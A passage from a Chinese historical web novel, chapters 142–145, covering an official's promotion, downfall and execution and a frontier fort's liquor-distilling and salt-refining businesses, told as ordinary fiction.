无数道目光——惊诧、钦佩、灼热——齐刷刷射向台下那麻脸汉子。
只见陈麻子昂首挺胸,脸上麻点在火光下竟似铮铮铁钉,透着一股前所未有的硬气。
这次**行赏,百来人不仅擢升官职,还有钱财奖励。
白花花的银子,黄澄澄的铜钱是那么的诱人。
不知是谁先吼了一嗓子:“大人,俺也要投军!跟秦将军杀**,挣前程!挣个堂堂正正!”
这一声如投入滚油的冷水,瞬间引爆全场。
那些不愿从军的劳力青壮们热血上涌,三五成群,踏着积雪,蜂拥奔向招兵处所在的方向。
雪夜之中,从军的热潮竟比那熊熊灶火还要滚烫人心。
第142章 刘判官的末路
冬月下旬,幽州城的清晨总裹着几分凛冽寒气。
漕运判官刘德福的府邸前张灯结彩,石狮子戴红花,红灯笼从朱漆大门一路挂到巷口,下人们捧着礼盒穿梭往来,脸上的喜气藏都藏不住。
门口两名护卫身披甲挂刀,胸脯挺得老高,连过往行人多瞥两眼,都要投去几分审视的目光。
就连府上买菜的老婆子,跟邻人搭话时声音都大了几分,话里话外总绕不开咱刘府之事儿。
这一切的源头,便是刘德福升了官。
他从漕运判官升至转运督办的消息,像野火燎原般一夜间传遍全城,引来了无数攀附之辈。
当第一缕晨光刺破薄雾,落在漕运督办府邸的烫金匾额上时,整条长街已被车马堵得水泄不通。
宾客登门,家丁送往,门庭若市。
这六品转运督办,是实打实的实权——整个幽州漕运,除了朝廷派的转运使,便属他说话最管用,比那些虚衔没有实权的京官强出太多。
消息一散,幽州城就像炸了锅。
茶肆里的粗瓷碗碰撞声中,总混着此起彼伏的议论。
“刘大人这回可真是一步登天!”
“可不是?从七品到正六品,这可是连跳三级啊!”
酒楼里的食客端着酒碗附和,有人拍着桌子说:“哎哟,听说贺礼呀,都堆满了三间屋子!”
旁人立刻接话:“没错没错,这几天,天蒙蒙亮,就能瞧见他家后院送礼的人排着长队嘞!”
街头巷尾、食肆酒楼,处处都在说判官刘德福。
城内数十万百姓,有的凑着热闹羡慕,说他是读书人的榜样;有的说他祖坟旬日前冒了青烟。
有的想起被刘家仗着漕运职权欺压的旧事,攥着拳头暗自咬牙,却只敢在没人处低骂两句。
更多人家则指着张贴的公文,催着家里孩子:“好好读书!将来也像刘大人这般考功名!”
为了让孩子进书院识文断字,哪怕掏空家底,也觉得值当。
唯有往来的商队,瞧出了不对劲。
他们常年走南闯北,眼界开阔,嗅觉敏锐。早听说刘德福先前封过运河、断过边堡粮道。
这般犯了边军忌讳的事,听说已经禀报至边防帅司,换旁人早被革职查办,他反倒升了官。
茶栈里,几个商人凑在一处,手指敲着桌面低声琢磨:“这事儿透着古怪,定然有猫腻。”
只是百姓们盯着“读书做官”的盼头,不顾其他。
幽州城的热闹还在继续,那些盏挂在刘府门口的红灯笼,在风里晃啊晃,映着满城说不尽的心思。
此时刘府书房内,檀香袅袅。
刘德福身着常服,正运笔疾书。
上等的云纹纸上墨迹淋漓,尽是狂草的凌厉风骨。
“大人笔力越发雄浑了。”幕僚赵先生躬身赞叹,眼角堆起细密的笑纹,“这一笔如惊蛇入草,那一划若飞鸟出林,已得古法精髓。”
刘德福掷笔大笑,声音洪亮又自信:“昔年苏文圣评狂草‘如飞鸟出林,惊蛇入草’,今日我这字若能及得三分,便心满意足了!”
他抚着修剪整齐的胡须,满脸志得意满。
就在这时,书房的门被猛地推开。
刘府管家踉跄闯入,顾不上行礼,急声道:
“老爷,青阳镇城的人回来了!”
三个衣衫破烂的汉子连滚带爬地跪在地,为首的汉子额头带血,衣衫碎成布条,显然是历经艰险才逃回来。
“大人,咱们的产业全完了!”那人的声音嘶哑,带着哭腔,“秦猛那家伙带兵夺了所有铺子,说要耀宗公子欠了他的赌债,全被倒卖了!”
他涕泪横流,磕头如捣蒜:“连盐场,码头,矿山都被占了,马六他们全被抓去修城墙了!小的们打探还被追杀,拼死才逃出来报信啊!”
“啪”的一声,刘德福手中的青瓷茶盏摔在地上,碎成了片。
他的脸色由红转白,又由白转青,最后定格在一片铁青。
“你说什么?”他的声音突然拔高,带着难以置信的颤抖。
汉子哭着说:“那秦猛带了几百官兵,把刘家在青阳城及周边村镇三十处铺面产业全夺了去。”
“白松岭的铁矿也被重兵把守,将此地划为军矿。”
“马六他们反抗,当场就被锁拿,现在都在边寨做苦工啊!”
刘德福猛地站起来,一脚踹翻面前的紫檀木茶几,上面的文房四宝散落一地:“好个秦猛!好个边军,竟如此肆无忌惮,敢这么欺我?”
他心里又惊又怒。
旬日前听到的风声,他特意派人调查,竟是真的!
“备轿,去刺史府!”刘德福咬牙喝道,声音里满是压抑不住的怒火。
他必须立刻见到崔文远。
既然已经选了阵营,刺史就必须保他,为他出头!
想起那日自己面见上官陈述,酒宴上,崔文远亲手举杯含笑的模样:“德福放心,一切有本官。”
亲家公杨烁等多位从事承诺也还在耳边回荡。
“幽州文官一体,绝不容武夫放肆!”
有这些承诺,刘德福心里稍显安定,底气十足。他咬牙切齿着:“秦猛,这回我要你死。”
站在一旁的幕僚赵先生眼中闪过耐人寻味的光芒。
……
刺史府花厅内,腊梅飘香。
崔文远正拿着银剪,仔细修剪一盆名贵兰草的枯叶。
听完刘德福的急报,他头也不抬,淡淡道。
“刘大人稍安勿躁。”
“秦猛这么猖狂,分明是不把刺史大人您放在眼里!”刘德福急得额头冒汗,“下官恳请大人……”
话还没说完,前堂突然传来骚动。
一个衙役连滚带爬地冲进来,颤声道:“大人!虎贲军进城了,三千兵马,已经把府衙团团围住了!”
“什么?”刘德福手中的礼单“哗啦”一声散落在地。
他猛地转头看向崔文远,却见对方只是眉梢轻轻一挑,继续慢悠悠地修剪兰草,仿佛早有预料。
转眼间,几十个铁甲卫士依次走进来,甲胄碰撞的铿锵声填满了花厅。
为首的赵将军按剑上前,玄色铁甲在晨光中泛着冷冽的寒光。
“奉帅令,捉拿逆犯刘德福!”赵将军声音如钟,展开一卷公文。
“其一
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罪,滥用职权,私封运河,截断边军粮道,导致将士饥寒交迫!”
“其二罪,私通山贼,袭击边寨,图谋不轨,罪同叛国!”
“本将奉命前来捉拿,谁敢阻拦,便是同党,同罪论处。”
“刘德福在此。”崔文远用剪刀指着傻了的刘督办。
刘德福像是被雷击中,突然似乎明白过来,猛地抬头看向崔文远:“大人!您答应过的……”
他的声音颤抖,带着最后的希望。
崔文远却转身欣赏墙上的《江山雪霁图》,仿佛突然对这幅画产生了浓厚兴趣,完全不理会刘德福的求救。
赵将军一挥手,左右卫士立刻上前锁拿刘德福。
铁链套在身上的瞬间,刘德福突然放声大笑,笑声里满是悲愤与绝望:“好…好个幽州文官一体,好个崔文远!你真拿刘某当弃子?”
“你不仁休怪我不义。”他奋力挣扎,锁链哗啦作响:“我书房暗格里有本账册,要死大家一起死!
你们那些勾当——私增漕税、克扣军粮、倒卖官盐,勾结山贼袭杀政敌……我全都记下来了!”
崔文远银剪微微一顿。
过了许久,他轻轻放下银剪,竖起一根手指:“谈好的基础上,边寨的冬衣,追加一万套。”
又竖起一根手指:“阵亡将士的抚恤金翻倍。军饷,粮秣,铁料等物资调拨再增加一成。”
第三根手指竖起,崔文远声音冰冷不带是好感情:
“但刘德福——必须立刻处死。”
赵起静静地看着他,笑而不语。
“三成,不能再多了。”崔文远直截了当地说着。
赵将军笑了笑:“崔大人发话,我等岂敢不从?”
被拖出花厅时,刘德福忽然想起三日前赏《雪溪图》时,女婿杨浩又隐晦提及“远走高飞”。
原来,他从一开始就被当成弃子,升官不过是缓兵之计,为了稳住他,而不是鱼死网破。
幽州地方官府与边军达成了某种协议。
他始终是那个隔水问路的樵夫,自诩官场上摸爬滚打二十载,却终究没人看透官场的深浅。
刑场上风很大,卷起满地尘埃。
刘德福望着台下黑压压的人群,忽然想起二十年前,他也是这样站在人群里,看着贪官被斩首。
那时他刚中秀才,发誓要做个好官。
谁知二十载官场沉浮,最后竟走上了同样的路。
“哈哈哈,寒窗苦读,当官若不贪,做这官还有何意义?”刘德福垂死挣扎着,冲着人群狂笑。
“只恨刘某走得不够远,只恨刘某背后没有天大的靠山。分好处时是兄弟,祸降临时就被抛弃。”
“文官把戏终究上不了台面,还得要靠刀子安身立……”
鬼头刀扬起时,他放声大笑,笑声凄厉又悲凉,笑自己痴心妄想,笑这荒唐世道尔虞我诈,更像那些黎明百姓,看不透,却前赴后继。
鬼头刀落,扑哧声响,血柱喷涌。
刘德福的脑袋咕噜噜滚落在地,瞪着一双死不瞑目的双眼,不甘地望着大声叫好的人群。
曾几何时,他也是这其中的一员……
第143章 棋局与棋子
刘德福当众被砍脑袋可不是小事儿。
幽州刺史府动作很快,当天就流传出许多风声。
次日天不亮,朱印告示就已贴满全城。
青灰砖墙上两道檄文并排而列,浆糊尚未干透。尤是那通红的官印在晨曦里泛着湿漉漉的光。
东首告示罗列刘德福**罪:
“永泰元年勒索西域商队白银八百两;”
“永泰三年克扣戍边军士饷银;”
“永泰八年与冷艳山寨匪首结拜......”
“永泰十三年,冬,私通**,封禁运河断边军粮道;串通冷艳山贼三百余众,夜袭铁血军寨……”
墨字如刀斧凿刻,各种罪案查验,证据确凿。
末尾“斩立决”三字洇出凛冽杀气。
西墙告示却是绵里藏针,专门是解释自刺史府任命:“前番升迁之谕,实为稳其心防其遁。”
“声称刘德福这些年搜刮民脂民膏,若纵此獠携巨财奔草原、窜海岛,则负圣恩、愧黎民......”
文牍师爷的笔锋在“权宜之计”四字上兜转出圆滑的弧度。
卯时三刻,告示前已叠起七八层人墙。
走街串巷卖炊饼的王老汉突然捶墙大哭:“永泰二年,我儿押镖过境,这杀才硬说镖旗冲撞官仪,五十两赎罪银,逼得我典了祖屋!”
人群嗡地围拢过来,见他哭声凄厉,直呼老天有眼。
“何止!”布庄李掌柜啐出枣核:“前几年征收绢帛,明明官定每匹三钱银,这厮硬压作一钱八!”
话音未落,西城棺材铺赵老板已嚎啕着跪倒在地:“我闺女出嫁那日,轿子竟被拦路索要什么红事税,八抬大轿在街心晾了整整两个时辰啊!”
唾沫星子在晨光里飞溅,骂声渐次汇成浊流。
穿长衫的秀才却扯过孩童叮嘱:“瞧见没有?唯有寒窗苦读挣得功名,才不受这等腌臜气。”
见小儿懵懂地啃着糖人,秀才又俯身添一句:“自然要走正道,学折厮歪斜心思终归要掉脑袋的。”
殊不知,当年刘德福,他爹也是个落魄秀才,也曾站在告示前,这样告诫年幼的刘德福。
大周世风日下,官场糜烂,注定了,当官想升迁,就要同流合污,不合群,就会被边缘化。
人群外缘,两个戴方巾的吏员袖手旁观。
年轻那个低声叹道:“刘大人上月还宴请我等,席间说什么‘和光同尘才是为官长久之道’......”
年长吏员猛地拽他袖口:“慎言!那桌席面三百两银子,你我只凑份子递了二两贺仪,如今倒要庆幸不够体面了,否则定然教人盯上。”
日头渐高时,刺史府角门悄开。
三名小吏拎着浆糊桶出来,覆上一份新的告示。
——竟是刘德福家产抄没清单。
“白银六万两、东珠三斗、北地参二百余斤......”
人群爆出更大声的惊呼,唯有角落老儒生喃喃自语:
“次,岁月催人老。贞元八年春闱,他与我同科上榜时,我记得他,穿的还是带补丁的直裰呢。”
新告示的朱印在烈日下慢慢融化,像一道血痕淌过“充公”二字,也不知是否上交朝廷国库,还是转入私人腰包,又或是归还那民脂民膏……
这些看热闹的百姓不知道这笔巨款流到何处。
但参与者铁血军寨张龙带队却知道,赵旭将军带队抄了刘家,刺史府也来掺和把手伸过来。
榨干刘德福这个贪官最后一滴油水。
张虎带队早已转移刘三的家眷,护送与兄长会合。
——他俩是奉秦猛之命来营救下属家眷的小队。瞅见告示前围观的人群,露出复杂的神情。却更加坚定信念,跟着大人走,前途光明……
“春园”茶楼里依旧热闹。
说书人拍下惊堂木,唾沫横飞:“所以说啊,这官场不是打打杀杀,是人情世故。其中的水很深,做官的道理,最要紧的是‘明白’二字。
要明白自己是棋子还是棋手,要明白上官对你是否虚情假意,要明白何时逢迎、何时退却……”
角落处,新任转运副使正悠闲地品茶,他是崔刺史的内侄,取代刘德福,三天前才到幽州城。
几个官员围坐在他身边奉承,笑声不断。
窗外,一支庞大的马队缓缓出城。
老商人回头望了望幽州城的城楼,对年轻伙计轻叹:“看到了吗?边陲之地,这幽州城的天,从来没变过。变的只是台上唱戏的人罢了!”
“可这草台班子终会腐烂。”伙计懵懂地应声,翻过账本新的一页,记录下又一笔送往边塞的物资。
“呃……”老商人闻言呆愣良久,最终叹气一声:“我老了,商队未来将是你们这批年轻人的。”
阳光透过窗棂,照在账本墨迹未干的数字上
——那正是昨日刺史崔文远承诺追加的冬衣数量。却格外夹带一份硫磺,硝石,火油的清单。
……
铁血军寨冬日接援
晨雾还没散尽,铁血军寨外的荒野上就传来了马蹄踏雪的闷响。几匹快马飞奔来报明来意。
诸葛风闻讯,赶至堡后门。
就见远处尘烟滚滚——李家和罗家的商队旌旗在淡白雾气里若隐若现,百余辆骡车首尾相接。
车辕上挂着的铜铃随着车轮颠簸,在寂静的冬日里荡出清脆声响。
“诸葛先生!”李家领队李诚勒住马缰,罗家领队罗武拍马而来,隔着三丈远就扬声招呼:
“奉家主之命,送来冬粮五百石,铁料三千斤,还有些御寒的棉花麻布。”
两人跳下马,见过诸葛风,指了指队伍末尾的两百来个青壮:“这些小伙,个个能扛能跑,送来军寨跟着练,将来既能自保,也能护卫商队。”
诸葛风立刻扬声唤来身后的兵卒:“按规矩卸货入库,粮食,铁料分类登记,别漏了数目!”
一旁的李恒早已捧着册页候
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着,笔尖在纸上飞快滑动,每记完一项,就与卸车的兵卒核对一遍,偶尔叮嘱:“小心些搬,铁料别磕着粮袋!”
这边忙着登记,秦大壮已带着一队老兵迎向青壮们。
他嗓门洪亮如钟,伸手拍了拍最前排一个高个子青年的肩膀:“都跟我来!先去营房放行李,每人领一**衣、一件皮甲,今日先熟悉营寨规矩,明日一早,卯时集合训练!”
青壮们攥着包袱,眼神里又怯又盼,却迅速跟着秦大壮往寨内营房走去,加入编外队伍。
官署旁的偏厅,炉里的炭火噼啪作响。
老保长王槐正陪着李诚、罗武喝茶,谈着买卖。
韩勇拎来坛酒放在桌上,酒坛上“北风烈”三个大字格外醒目。“两位尝尝,这新酿的滋味。”
王槐笑着斟满酒杯:“比寻常烈酒更淳厚,冬天喝着暖身,纵使商队走夜路,也能驱寒。”
李诚端起酒杯抿了一口,眼睛一亮,称赞道:“好,这酒有力气!我家商队下月要走草原,正好需要这等烈酒,不知军寨能匀多少?”
罗武也跟着点头:“还有雪花盐,上次拿的货在本县很受欢迎,这次想多订些,价格好商量。”
韩勇立刻拿出早已备好的货单:“雪花盐现有两千斤,北风烈还有五十坛,若是不够,年前能再来运。
另外军寨杀**,有批驮马,耐力足,适合走长途,两位要是需要,也能一并算在买卖里。”
三人围坐在桌前,手指在货单上指点,不时传来几句爽朗的笑声,买卖细节很快就敲定了大半。
这种物资采买,军寨生意买卖有专人负责。秦猛只需要过问,了解情况,把控大的方向。
无需他过多操心,可以一门心思放在训练军队上。
这不,他今天开始调教陈麻子小队。
这家伙够积极,从前夜便开始挑人,挑了十个靠谱的人。
有之前一起搬运物资的老周,有在市井里卖过菜、眼尖嘴甜的王二,有一起偷过懒的李狗子。
还有三个做过伙计的,最擅察言观色。四个做事踏实、手头上有功夫,却不爱多嘴的劳力。
秦猛初步筛选过后,觉得没问题,便按计划开始训练他们,把他们列入特殊军籍,取了代号。
接下来的几天,秦猛每天下午都抽出半个时辰教他们。
教他们格斗擒拿是基础,主要是看人的手势和眼神。
比如心里有鬼的人说话时会不自觉摸脖子,眼神有变化等小动作。
教他们怎么在市井里“搭话”,比如假装买东西,听小贩聊最近来镇上的陌生人,有大事儿。
还教他们记录消息,把听到的、看到的按“紧急”“寻常”“没用”分为三类,只报重要的信息……
陈麻子等人学得很认真,训练再累,也从不偷懒。
秦猛是比较欣慰的,参照后世特工训练法子,结合当下实际情况,尽心培养第一批暗部成员……
第144章 北风烈与雪花盐
燕北郡,青阳城。
祥云街上,清风酒楼的三层飞檐在日光下格外气派。
未及午时,街上行人稀疏,酒楼门口却已停满车轿,店内人声鼎沸。
跑堂伙计端着盘子穿梭其间,吆喝声、谈笑声、划拳声不绝于耳。
近来,风雪漫天,这清风酒楼生意反而愈发红火。全因多得了一种名为“北风烈”的独家好酒。
此酒不同于已知的各种酒类,酒液清澈透亮,毫无寻常浊酒的杂质,无需筛滤便可直接饮用。
闻之酒香诱人,初入口时,只觉一股微辣却淳厚。
稍待回甘,便觉口齿间醇香弥漫,回味悠长,更是浑身暖和、舒适,令人忍不住再饮一碗。
因其性烈淳厚,驱寒效果极佳,在这北方极为畅销。尤其受往来商队和城中富家子弟的偏爱。
掌柜的会做生意,此酒论往来卖,往往推荐客人以油炸酥脆的花生米、爽口的凉拌猪耳、酱香的兔肉,驴肉火烧等小菜佐酒,更是风味一绝。
然而,此酒虽好,但每日供应量极少,价格自然不菲,仍供不应求,每日不到傍晚便售罄。
二楼雅座包厢早已被预定一空,就连一楼大厅也座无虚席。
许多慕名而来的客人若无座位,却不肯离去。宁愿站着等候,也要尝一尝这“北风烈”。
这日晌午刚过,酒楼便已是客如云来,人声鼎沸。
正忙碌间,店门外忽地传来一阵笑闹,喧哗,只见一群锦衣华服的年轻公子哥儿,簇拥着一位头戴新玉冠、意气风发的青年走了进来。
为首那青年正是城内张家的小公子,今日恰是他二十岁行冠礼的大日子,特来此设宴庆贺。
张家是燕北郡数一数二的大户,良田万亩,家资钜万。
张公子此刻被人偷拥入众星捧月,正觉脸上有光,扬声道:“伙计!快给本公子把你们这儿最大的‘**阁’打开,店里招牌在尽管上。
再搬十坛‘北风烈’来,今日我要与诸位好友痛饮一番,不醉不归!”
迎客的伙计闻言,脸上顿时露出难色,赶忙躬身赔笑:“张公子,恭喜恭喜!只是……
只是这‘**阁’早已被客人预定,此刻正在宴客。至于‘北风烈’……实在抱歉,今日库存已不多,按规矩都是散卖,从未一次出过十坛之数,您看……”
张公子正在兴头上,被当众拂了面子,笑容立刻僵住,眼看就要发作:“什么?没了?
岂有此理!是怕我张家付不起银钱么?今日我这冠礼宴,莫非还要挤在你们这大堂不成?”
伙计为难,现场气氛一时有些僵持。
正在此时,一位身着貂皮袄、面容精干的中年男子快步从柜台后转出,圆脸上带着圆熟却不失分寸的笑容。
——正是清风楼的常掌柜。
“原来是张公子大喜!小店未能远迎,恕罪恕罪。”
常掌柜先拱手道贺,稳住场面,随即压低声,言辞恳切地解释:“公子爷,您乃贵客,小店岂有不愿做生意的道理?
只是那‘**阁’确已有贵客在先。至于这‘北风烈’,酿制工艺苛刻,得稍等好酒极其不易。
酒坊那边每日供量有限,定**规矩,小人实在不敢擅专,一次取出十坛,其他慕名而来的客人便一滴也尝不到了,还请公子体谅小人的难处。”
他见张公子面色稍缓但仍有不豫之色,话锋一转,立刻送上解决方案:“这样,公子爷您看可否通融?
三楼‘听雨轩’亦是雅致宽敞,丝毫不逊于‘**阁’,小人这便去与‘**阁’的贵客商议,请他们移步‘听雨轩’,将‘**阁’给您腾出来。
为表歉意,您今日的酒水,小店一律给您算八折。
只是这‘北风烈’……十坛确是拿不出,小人豁出脸面去库里再找找,给您凑出几坛,连同今日份额的散酒一并先紧着您这宴席,如何?”
这番话既给足了张公子面子,又点明了规矩和难处,还拿出了实实在在的优惠和解决方案。
张公子听闻能拿到最大的包厢,还有折扣,甚至有几坛“北风烈”供应,心中那点不快,这才散去,便顺势下了台阶,矜持地点点头。
“既如此,就劳常掌柜快些安排吧。”
常掌柜连连称是,立刻转身亲自上楼去与“**阁”的客人低声商议。
他言语周到,又许了那桌客人八折优惠,并附赠几样精细小菜,那桌客人倒也通情达理,笑着应承了下来。
一场风波,就在常掌柜这娴熟老练的应对中消弭于无形。他招呼伙计上酒,心下也松了口气。
这常掌柜名叫常远。他是常九的亲信,派来帮忙接管酒楼打理,经营酒楼十余年,经验丰富。
常掌柜做事极有章法,对铁血军寨那边的吩咐更是严格执行,尤其是这“北风烈”,连同那风味独特的几类下酒菜,皆出自秦猛之手。
每隔三两天,由军中专人护送商队定时定量送至酒楼。那位秦将军有转告,酒水不可多卖,每日限量贩卖,大把客人来得晚,品尝不到。
常远做事谨慎,为平息众多盼酒而不得的普通食客的怨言,更为防止有人借机来生事或炒作酒价,特地在酒楼门外立起一块醒目木牌。
上书:“承蒙厚爱,北风烈酒乃新法初酿,产量有限。
然酒坊工匠正竭力熟稔技艺,待工艺成熟,产量必增,届时必有价格更亲民之佳酿普惠大众,敬请期待。”
此牌一立,非但未减热情,反让更多平民百姓心生期待,每日前来打探消息之人络绎不绝。
既来了,少不了点上几个小菜,叫一壶寻常水酒,顺便听听关于那神秘烈酒的议论。
酒楼的人气上来了,这生意因此更上一层楼。
与清风酒楼招牌“北风烈”的高调稀缺不同,南河雪花盐的销售,则悄然无声却又迅猛异常。
近来,城中几家最大的粮油铺子悄然多了一样新品。一种雪白细腻、毫无苦涩之味的优质精盐。
此盐价格分为
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上中下三个档次:
一种是用粗纸简单包裹,一斤仅售百文甚至有时更低,专供寻常百姓。
一种则以细白瓷罐盛放,一斤一装,贴红纸,系红绳,显得精致贵重,专供富户豪门,这售价自然是更高,高达一两贯钱乃至更高。
上等货色,用精美白玉瓷甚至翡翠罐,来盛装。瓶罐上勾勒精美图案,由常家商队专门送到中原,供应给那些达官显贵,价格高得离谱。
总之,同样的盐,包装不同,价格自然就不同,有钱人买的是地位,与产品的好坏无关。
故而,三类盐,其品质都远胜市面常见的青盐、粗盐。
入菜味鲜,且无杂味。
消息在平民百姓之间,悄无声息地流传开来:“城西韩记粮油铺,有好盐,价贱,速去,莫声张!”
买到盐的百姓无不惊喜,但彼此心照不宣,相互叮嘱:“可千万别四处嚷嚷,掌柜说了,知道的人一多,要么涨价,要么就不卖给我们了!”
于是,大家极有默契地三缄其口,只是默默排队。趁着买米面之时,快速购买,匆匆离去。
而那些富户家的采办,则对那精美罐装的盐更感兴趣,价格虽高,但其洁白如雪、品质上乘,用作礼品亦或是自家享用,都极有体面,纷纷解囊。
特别是粮铺掌柜会做生意,按货物价格收钱,虚报的高价利差,悄然落入采买人员的腰囊里。岂能不叫这些采买心花怒放?守口如瓶。
一批货送来,常常两三日功夫,库房便已见底。官吏们早就收到上面命令,根本不会过问。
这雪花盐利润丰厚,虽低价售予百姓,但靠走量及高价供应富户盐,利润可观,堪称暴利。
短短几天,便打开市场,开始盈利,各个粮铺如同一条隐形的血脉,开始持续为铁血军寨输送着宝贵的银钱,助其自我造血,稳固根基。
……
郡守衙门后堂暖阁,烛火摇曳。
燕北郡守林安国埋首于成堆的公文案牍之中,朱笔不时批下,发出轻微的沙沙声。
窗外夜色渐浓,更鼓声遥遥传来。
当他批阅到一份关于边塞粮草调拨的文书时,笔尖微微一顿,眼前不由得浮现出那不辞而别,偷偷溜进运粮队前往边塞军营的女儿的身影。
他放下笔,揉了揉眉心,一丝疲惫和担忧浮上眉宇。
“这个丫头,一去便是这些时日,军中苦寒,伙食极差,尽是些粗鄙军汉,也不知**不习惯。”
“哎,**即将大举来袭,秦猛那小子,一介武夫,只知道好勇斗狠,带兵打仗,能否照料周全?”
想到此处,林安国忍不住低声埋怨起来:“真是女大不中留,偷偷溜走便罢了,连封像样的家书都没有,净让她父亲我在此徒增牵挂。”
他叹了口气,语气充满无奈。
**片刻,林安国收敛心神,重新拿起朱笔,将注意力放回政务上,只是依旧是眉头紧皱。
无他,这边陲郡县,就是个烂摊子!
第145章 军寨两大财源
北疆边陲,风卷着雪花四处飞舞。
寒风凛冽,却无法阻挡铁血军寨兵卒训练的热情。顶着风雪训练,这在北方冬季是一种常态!
军寨,经过一次募兵热潮后,新兵又多了百八十人。
经过筛选,按个人身体素质与特长,分流至几处校场。由军寨将官督导训练,增强搏杀技艺。
军寨的蓬勃发展,不仅体现在各兵种数量增加上,更体现在壮劳力加固城防,修缮屋舍,及那几个日益繁忙、堪称军寨命脉的作坊里。
军寨原有的铁匠、木工、缝补、火器四大坊外,分别提供军备物资,是军寨不可或缺的。
除了四大军工作坊,哼,近来,又新设立了两大作坊。
主寨内新辟出两处区域,日夜笼罩在蒸汽暖浪中。
其一是酿酒作坊,这是军寨财源之一。
酒,在大周朝历史上有很深的渊源,世人多爱这杯中物,文人墨客对酒的偏爱,更胜旁人。
如周墨卿、王砚之、欧阳文渊等名士皆以嗜酒闻名。
就连那位写下“醉里骋苍茫,忘了来时沙黄”的著名女词客苏云澜,亦终日酒不离案。
足见酒,在文人心中的分量。
大周建国快三百载,于当今而言,酒早已不只是饮品,更成了融入市井朝野的文化符号。
上至朝堂官吏,下至乡野百姓,无论男女长幼,饮酒都是再寻常不过的事。
也正因这般普遍的需求,贩卖酒水成了实打实的暴利行当,许多地主、商户都靠这营生牟利。
导致大周的酿酒工艺非常兴盛,酒水种类繁多。米酒,果酒,老酒等,其中不乏名酒佳酿。
当今市面上流通最广的便是米酒。
米酒好喝,口感偏甜,却有弊端。
这类酒带着酒糟,得筛酒来吃,蕴含杂质多,保质期极短,稍有耽搁,便容易变质腐坏。
而蒸馏装置的出现,不仅意味着长时间保存的蒸馏酒问世,还有高浓度的酒精也可以投入军用。
行营主簿诸葛风总揽军队后勤、开销,亲自负责酿酒作坊大小事宜,招人、选材极为严苛。
酿酒作坊多招收军户家眷做工,规模急剧扩大。
木工作坊的木匠师傅们不仅制造军械,工头鲁明师傅,更是亲自带队根据秦猛提供的图样。
这段时间成功做出了二十多个体积更大、结构更合理、出酒效率更高的改良式蒸馏器具。
此刻,作坊内二十多个灶台同时开火,场面蔚为壮观。
巨大的蒸锅坐在灶上,锅顶密封着改良后的冷凝装置,一根根竹管连接装置中,清澈烈性的“北风烈”原液便一缕缕地流入接酒的酒缸中。
作坊内热气蒸腾,酒香浓郁得几乎凝成实质。
蒸房有人照看着,十多位被高薪请来或从流民中寻得的酿酒老师傅,各自带队忙碌穿梭。
作坊外搭起了长长的草棚,一部分人负责筛选、淘洗粮食(大米、糯米、粟米、高粱等)
另有一部分人则将处理好的粮食上甑蒸熟,随后摊开在巨大的竹席上晾凉。
整个流程分工明确,初步处理环节井然有序。
老师傅们深知,酿制传统的米酒极为繁琐,需经过淘米、煎浆、蒸米、拌曲、发酵、压榨等十数道工序,直至出酒,耗时至少大半月。
而最关键的一步——“蒸馏提纯”——则由军寨掌控,由可靠之人操作。这蒸出来的烈酒,便是近来在清风酒楼十两银子一坛的北风烈。
随着产量逐渐提升,供应常家等分销商,换取巨利,再批量收购粮食、物资支撑军寨运转。
浓郁的酒香裹挟着蒸腾的热浪,远远飘向附寨校场,为在风雪中苦练的士卒们带来了暖意。
其二是炼盐作坊,这也是军寨的财源。
相比人们酷爱酒这物什,盐,是人不可或缺的。
自古以来,贩盐,就是一等一的暴利,是朝廷税收的主要来源。
奈何大周江河日下,边陲之地的秦猛胆子甚大。或者说,他这后世穿越来的家伙没忠诚可言。
他伙同青阳城韩知县,与地方官府携手并进,打着官盐之名谋取私利,又倾销给常家等贩卖。
雪花盐,悄然在多个县镇中卖得火热。
雪花盐供不应求,炼盐作坊的规模急剧扩大。
最初负责此事的二十多名老人已升为队长,月例翻倍,各带两到四个五人小组同时作业。
木工作坊为他们特制了上百套过滤、沉淀和熬煮的器具。作坊内,一派热火朝天的景象。
壮劳力们将买来的、或通过其他渠道得来的粗盐、矿盐甚至带着苦味的土盐捣碎,倒入大缸中注入清水溶解。
随后经过数次过滤、沉淀,去除杂质和苦涩味,得到洁净的卤水;再用特殊的过滤器得到纯净的浓盐水。
最后的环节便是将澄清的盐水倒入一字排开的大铁锅中,灶下炭火熊熊,熬煮至水分蒸发,锅底便析出了雪白细腻、毫无杂味的精盐。
“快!这边滤好了,抬过去!”
“添火,换枯柴烧,这锅快熬干了!”
吆喝声此起彼伏,各个环节紧密衔接,忙而不乱。
雪花般的盐粒不断产出,被小心翼翼地收集起来,然后送到后方由手脚利索的婆子分装。
它们会卖到各处,将是军寨主要的经济收入。
边民能吃到洁净无害的好盐。
那些有钱人才是秦猛主要收割的对象。惠及百姓获得支持之余,谁有钱,他就挣谁的钱。
与酒水买卖不同,盐,这种买卖是不可明说的,一直由老保长王槐负责,定期向秦猛报告。
而在这一切繁忙景象的中心——军寨官署之内,却是另一番景象。
秦猛刚巡视完各处归来,身上还带着屋外的寒气。他解下大氅,在主位坐定,亲兵端来热茶。
下首,军寨主簿王槐,行营主簿诸葛风与几位负责文书、账目的吏员早已齐聚,恭敬等候。
秦猛面前案几上堆放着厚厚的账册和文书。这是临近腊月,月底的总结
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,及下一阶段计划。
他望着十来个文吏,军寨文官班子逐步成形。
“按照惯例先汇报,我再看。”秦猛靠坐在椅子上。
“大人,那老头子先汇报一下军寨人口、户籍情况。”老保长王槐瞬间脱离昏昏欲睡的状态。
他率先起身,翻开花名册,开始详细汇报:“军寨一共有六百六十九户,丁户一千五百二十八人(皆为孤家寡人)。
军寨总人口四千二百八十七人,除此之外,编外户籍人员五百三十人,都是来受训练的青壮。”
“幽州厢军与冷艳山俘虏,苦力估计一百七十三人。战马一千三百余匹,驮马,耕牛千余头……”
他顿了顿,翻过一页,继续道:“如今人吃马嚼,寨中每日消耗粮食近两百石,干草甚多。
肉类、蔬菜、酱油、盐巴等开销巨大。您要求一天三顿,顿顿吃饱,长此以往,恐难维持。”
秦猛笑着安慰道:“老保长不必过于忧心,等到明年春耕和榷场开设,情况就会好转许多。
何况我们的精盐、酒水生产已逐渐步入正轨,日后无需为钱粮担忧,吃饱穿暖,是立寨基石。”
他又建议道:“那些编外人员,您老多接触,争取籍贯转入边军落户,若是能将家眷接来就更好了。
明年芦苇堡重建、双涡堡都需要迁移一批人过去开垦荒地,人口至关重要,绝对不能轻视。”
老保长汇报完人口情况后,诸葛风作为行营主簿开始汇报,声音清晰而沉稳:“兵员方面:
截至昨日,我军寨在编战兵已达一千一百三十七人。
其中骑兵三百一十八骑(皆配双马)
